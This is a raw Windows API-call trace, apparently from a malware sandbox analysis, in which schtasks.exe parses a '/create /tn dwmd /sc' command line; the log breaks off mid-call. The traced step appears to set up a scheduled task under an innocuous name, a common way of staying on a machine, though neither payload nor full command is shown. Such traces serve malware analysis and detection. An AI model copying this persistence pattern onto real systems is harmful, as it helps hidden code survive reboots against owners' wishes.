RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.162] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0105.162] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0105.162] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0105.162] RtlVerifyVersionInfo (VersionInfo=0xcd0876c7a0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0105.162] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.162] lstrlenW (lpString="create") returned 6 [0105.163] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0105.163] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.163] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.163] lstrlenW (lpString="create") returned 6 [0105.163] GetProcessHeap () returned 0x2008f450000 [0105.163] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b420 [0105.163] GetProcessHeap () returned 0x2008f450000 [0105.163] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f45aa90 [0105.163] _memicmp (_Buf1=0x2008f45aa90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.163] GetProcessHeap () returned 0x2008f450000 [0105.163] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x16) returned 0x2008f45ab30 [0105.163] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.163] _memicmp (_Buf1=0x2008f454790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.164] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2008f459b70, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0105.164] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xcd0876c8f8 | out: lpdwHandle=0xcd0876c8f8) returned 0x76c [0105.164] GetProcessHeap () returned 0x2008f450000 [0105.165] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x776) returned 0x2008f45bdc0 [0105.165] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2008f45bdc0 | out: lpData=0x2008f45bdc0) returned 1 [0105.165] VerQueryValueW (in: pBlock=0x2008f45bdc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xcd0876c890, puLen=0xcd0876c8f0 | out: lplpBuffer=0xcd0876c890*=0x2008f45c170, puLen=0xcd0876c8f0) returned 1 [0105.165] _memicmp (_Buf1=0x2008f454790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.166] _vsnwprintf (in: _Buffer=0x2008f459b70, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xcd0876c868 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0105.166] VerQueryValueW (in: pBlock=0x2008f45bdc0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xcd0876c880, puLen=0xcd0876c8e8 | out: lplpBuffer=0xcd0876c880*=0x2008f45bfa0, puLen=0xcd0876c8e8) returned 1 [0105.166] lstrlenW (lpString="schtasks.exe") returned 12 [0105.166] lstrlenW (lpString="schtasks.exe") returned 12 [0105.166] lstrlenW (lpString=".EXE") returned 4 [0105.166] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0105.166] lstrlenW (lpString="schtasks.exe") returned 12 [0105.166] lstrlenW (lpString=".EXE") returned 4 [0105.166] lstrlenW (lpString="schtasks") returned 8 [0105.166] lstrlenW (lpString="/create") returned 7 [0105.166] _memicmp (_Buf1=0x2008f454790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.167] _vsnwprintf (in: _Buffer=0x2008f459b70, _BufferCount=0x19, _Format="%s %s", _ArgList=0xcd0876c868 | out: _Buffer="schtasks /create") returned 16 [0105.167] _memicmp (_Buf1=0x2008f454820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.167] GetProcessHeap () returned 0x2008f450000 [0105.167] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b3f0 [0105.167] _memicmp (_Buf1=0x2008f454840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.167] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2008f45bbb0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0105.167] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0105.167] GetProcessHeap () returned 0x2008f450000 [0105.167] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x30) returned 0x2008f454330 [0105.167] _vsnwprintf (in: _Buffer=0x2008f453e90, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xcd0876c868 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0105.168] GetProcessHeap () returned 0x2008f450000 [0105.168] GetProcessHeap () returned 0x2008f450000 [0105.168] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45bdc0) returned 1 [0105.168] GetProcessHeap () returned 0x2008f450000 [0105.168] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45bdc0) returned 0x776 [0105.168] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45bdc0) returned 1 [0105.169] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.169] GetThreadLocale () returned 0x409 [0105.169] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.169] lstrlenW (lpString="create") returned 6 [0105.169] GetThreadLocale () returned 0x409 [0105.169] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.169] lstrlenW (lpString="?") returned 1 [0105.169] GetThreadLocale () returned 0x409 [0105.169] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.169] lstrlenW (lpString="s") returned 1 [0105.169] GetThreadLocale () returned 0x409 [0105.169] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.169] lstrlenW (lpString="u") returned 1 [0105.169] GetThreadLocale () returned 0x409 [0105.169] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.170] lstrlenW (lpString="p") returned 1 [0105.170] GetThreadLocale () returned 0x409 [0105.170] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.170] lstrlenW (lpString="ru") returned 2 [0105.170] GetThreadLocale () returned 0x409 [0105.170] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.171] lstrlenW (lpString="rp") returned 2 [0105.171] GetThreadLocale () returned 0x409 [0105.171] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.171] lstrlenW (lpString="sc") returned 2 [0105.175] GetThreadLocale () returned 0x409 [0105.175] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.176] lstrlenW (lpString="mo") returned 2 [0105.176] GetThreadLocale () returned 0x409 [0105.176] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.176] lstrlenW (lpString="d") returned 1 [0105.176] GetThreadLocale () returned 0x409 [0105.176] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.176] lstrlenW (lpString="m") returned 1 [0105.176] GetThreadLocale () returned 0x409 [0105.176] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.176] lstrlenW (lpString="i") returned 1 [0105.176] GetThreadLocale () returned 0x409 [0105.176] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.177] lstrlenW (lpString="tn") returned 2 [0105.177] GetThreadLocale () returned 0x409 [0105.177] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.177] lstrlenW (lpString="tr") returned 2 [0105.177] GetThreadLocale () returned 0x409 [0105.177] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.177] lstrlenW (lpString="st") returned 2 [0105.177] GetThreadLocale () returned 0x409 [0105.177] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.177] lstrlenW (lpString="sd") returned 2 [0105.177] GetThreadLocale () returned 0x409 [0105.177] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.177] lstrlenW (lpString="ed") returned 2 [0105.177] GetThreadLocale () returned 0x409 [0105.177] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.177] lstrlenW (lpString="it") returned 2 [0105.177] GetThreadLocale () returned 0x409 [0105.178] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.178] lstrlenW (lpString="et") returned 2 [0105.178] GetThreadLocale () returned 0x409 [0105.178] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.178] lstrlenW (lpString="k") returned 1 [0105.178] GetThreadLocale () returned 0x409 [0105.178] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.178] lstrlenW (lpString="du") returned 2 [0105.178] GetThreadLocale () returned 0x409 [0105.178] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.178] lstrlenW (lpString="ri") returned 2 [0105.178] GetThreadLocale () returned 0x409 [0105.178] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.178] lstrlenW (lpString="z") returned 1 [0105.178] GetThreadLocale () returned 0x409 [0105.178] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.178] lstrlenW (lpString="f") returned 1 [0105.178] GetThreadLocale () returned 0x409 [0105.178] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.178] lstrlenW (lpString="v1") returned 2 [0105.178] GetThreadLocale () returned 0x409 [0105.179] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.179] lstrlenW (lpString="xml") returned 3 [0105.179] GetThreadLocale () returned 0x409 [0105.179] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.179] lstrlenW (lpString="ec") returned 2 [0105.179] GetThreadLocale () returned 0x409 [0105.179] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.179] lstrlenW (lpString="rl") returned 2 [0105.179] GetThreadLocale () returned 0x409 [0105.179] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.179] lstrlenW (lpString="delay") returned 5 [0105.179] GetThreadLocale () returned 0x409 [0105.179] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.179] lstrlenW (lpString="np") returned 2 [0105.179] GetThreadLocale () returned 0x409 [0105.179] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0105.179] lstrlenW (lpString="hresult") returned 7 [0105.179] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.179] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.179] lstrlenW (lpString="/create") returned 7 [0105.180] lstrlenW (lpString="-/") returned 2 [0105.180] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.180] lstrlenW (lpString="create") returned 6 [0105.180] lstrlenW (lpString="create") returned 6 [0105.180] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.180] lstrlenW (lpString="create") returned 6 [0105.180] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.180] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|create|") returned 8 [0105.180] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|create|") returned 8 [0105.180] lstrlenW (lpString="|create|") returned 8 [0105.180] lstrlenW (lpString="|create|") returned 8 [0105.180] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0105.180] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.180] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.180] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.180] lstrlenW (lpString="/tn") returned 3 [0105.180] lstrlenW (lpString="-/") returned 2 [0105.180] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.181] lstrlenW (lpString="create") returned 6 [0105.181] lstrlenW (lpString="create") returned 6 [0105.181] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.181] lstrlenW (lpString="tn") returned 2 [0105.181] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.181] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|create|") returned 8 [0105.181] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.181] lstrlenW (lpString="|create|") returned 8 [0105.181] lstrlenW (lpString="|tn|") returned 4 [0105.181] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0105.181] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.181] lstrlenW (lpString="?") returned 1 [0105.181] lstrlenW (lpString="?") returned 1 [0105.181] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.181] lstrlenW (lpString="tn") returned 2 [0105.181] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.181] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|?|") returned 3 [0105.182] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.182] lstrlenW (lpString="|?|") returned 3 [0105.182] lstrlenW (lpString="|tn|") returned 4 [0105.182] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.182] lstrlenW (lpString="s") returned 1 [0105.182] lstrlenW (lpString="s") returned 1 [0105.182] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.182] lstrlenW (lpString="tn") returned 2 [0105.182] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.182] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|s|") returned 3 [0105.182] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.182] lstrlenW (lpString="|s|") returned 3 [0105.182] lstrlenW (lpString="|tn|") returned 4 [0105.182] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.182] lstrlenW (lpString="u") returned 1 [0105.182] lstrlenW (lpString="u") returned 1 [0105.182] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.182] lstrlenW (lpString="tn") returned 2 [0105.183] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.183] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|u|") returned 3 [0105.183] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.183] lstrlenW (lpString="|u|") returned 3 [0105.183] lstrlenW (lpString="|tn|") returned 4 [0105.183] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.183] lstrlenW (lpString="p") returned 1 [0105.183] lstrlenW (lpString="p") returned 1 [0105.183] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.183] lstrlenW (lpString="tn") returned 2 [0105.183] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.183] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|p|") returned 3 [0105.183] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.183] lstrlenW (lpString="|p|") returned 3 [0105.183] lstrlenW (lpString="|tn|") returned 4 [0105.183] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.183] lstrlenW (lpString="ru") returned 2 [0105.183] lstrlenW (lpString="ru") returned 2 [0105.184] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.184] lstrlenW (lpString="tn") returned 2 [0105.184] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.184] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|ru|") returned 4 [0105.184] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.184] lstrlenW (lpString="|ru|") returned 4 [0105.184] lstrlenW (lpString="|tn|") returned 4 [0105.184] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0105.184] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.184] lstrlenW (lpString="rp") returned 2 [0105.184] lstrlenW (lpString="rp") returned 2 [0105.184] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.184] lstrlenW (lpString="tn") returned 2 [0105.184] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.184] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|rp|") returned 4 [0105.184] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.184] lstrlenW (lpString="|rp|") returned 4 [0105.185] lstrlenW (lpString="|tn|") returned 4 [0105.185] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0105.185] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.185] lstrlenW (lpString="sc") returned 2 [0105.185] lstrlenW (lpString="sc") returned 2 [0105.185] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.185] lstrlenW (lpString="tn") returned 2 [0105.185] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.185] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.185] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.185] lstrlenW (lpString="|sc|") returned 4 [0105.185] lstrlenW (lpString="|tn|") returned 4 [0105.191] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0105.191] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.191] lstrlenW (lpString="mo") returned 2 [0105.191] lstrlenW (lpString="mo") returned 2 [0105.191] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.192] lstrlenW (lpString="tn") returned 2 [0105.192] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.192] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|mo|") returned 4 [0105.192] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.192] lstrlenW (lpString="|mo|") returned 4 [0105.192] lstrlenW (lpString="|tn|") returned 4 [0105.192] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0105.192] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.192] lstrlenW (lpString="d") returned 1 [0105.192] lstrlenW (lpString="d") returned 1 [0105.192] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.192] lstrlenW (lpString="tn") returned 2 [0105.192] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.192] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|d|") returned 3 [0105.192] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.192] lstrlenW (lpString="|d|") returned 3 [0105.192] lstrlenW (lpString="|tn|") returned 4 [0105.192] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.192] lstrlenW (lpString="m") returned 1 [0105.192] lstrlenW (lpString="m") returned 1 [0105.193] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.193] lstrlenW (lpString="tn") returned 2 [0105.193] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.193] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|m|") returned 3 [0105.193] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.193] lstrlenW (lpString="|m|") returned 3 [0105.193] lstrlenW (lpString="|tn|") returned 4 [0105.193] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.193] lstrlenW (lpString="i") returned 1 [0105.193] lstrlenW (lpString="i") returned 1 [0105.193] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.193] lstrlenW (lpString="tn") returned 2 [0105.193] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.193] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|i|") returned 3 [0105.193] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.193] lstrlenW (lpString="|i|") returned 3 [0105.193] lstrlenW (lpString="|tn|") returned 4 [0105.193] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.193] lstrlenW (lpString="tn") returned 2 [0105.193] lstrlenW (lpString="tn") returned 2 [0105.194] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.194] lstrlenW (lpString="tn") returned 2 [0105.194] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.194] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.194] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|tn|") returned 4 [0105.194] lstrlenW (lpString="|tn|") returned 4 [0105.194] lstrlenW (lpString="|tn|") returned 4 [0105.194] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0105.194] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.194] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.194] lstrlenW (lpString="dwmd") returned 4 [0105.194] lstrlenW (lpString="-/") returned 2 [0105.194] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0105.194] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.194] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.194] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.194] lstrlenW (lpString="dwmd") returned 4 [0105.194] StrChrIW (lpStart="dwmd", wMatch=0x3a) returned 0x0 [0105.194] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.194] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.194] lstrlenW (lpString="dwmd") returned 4 [0105.195] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.195] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.195] lstrlenW (lpString="/sc") returned 3 [0105.195] lstrlenW (lpString="-/") returned 2 [0105.195] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.195] lstrlenW (lpString="create") returned 6 [0105.195] lstrlenW (lpString="create") returned 6 [0105.195] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.195] lstrlenW (lpString="sc") returned 2 [0105.195] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.195] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|create|") returned 8 [0105.195] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|sc|") returned 4 [0105.195] lstrlenW (lpString="|create|") returned 8 [0105.195] lstrlenW (lpString="|sc|") returned 4 [0105.195] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0105.195] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.195] lstrlenW (lpString="?") returned 1 [0105.195] lstrlenW (lpString="?") returned 1 [0105.195] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.195] lstrlenW (lpString="sc") returned 2 [0105.195] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.196] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876c878 | out: _Buffer="|?|") returned 3 [0105.196] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876c878 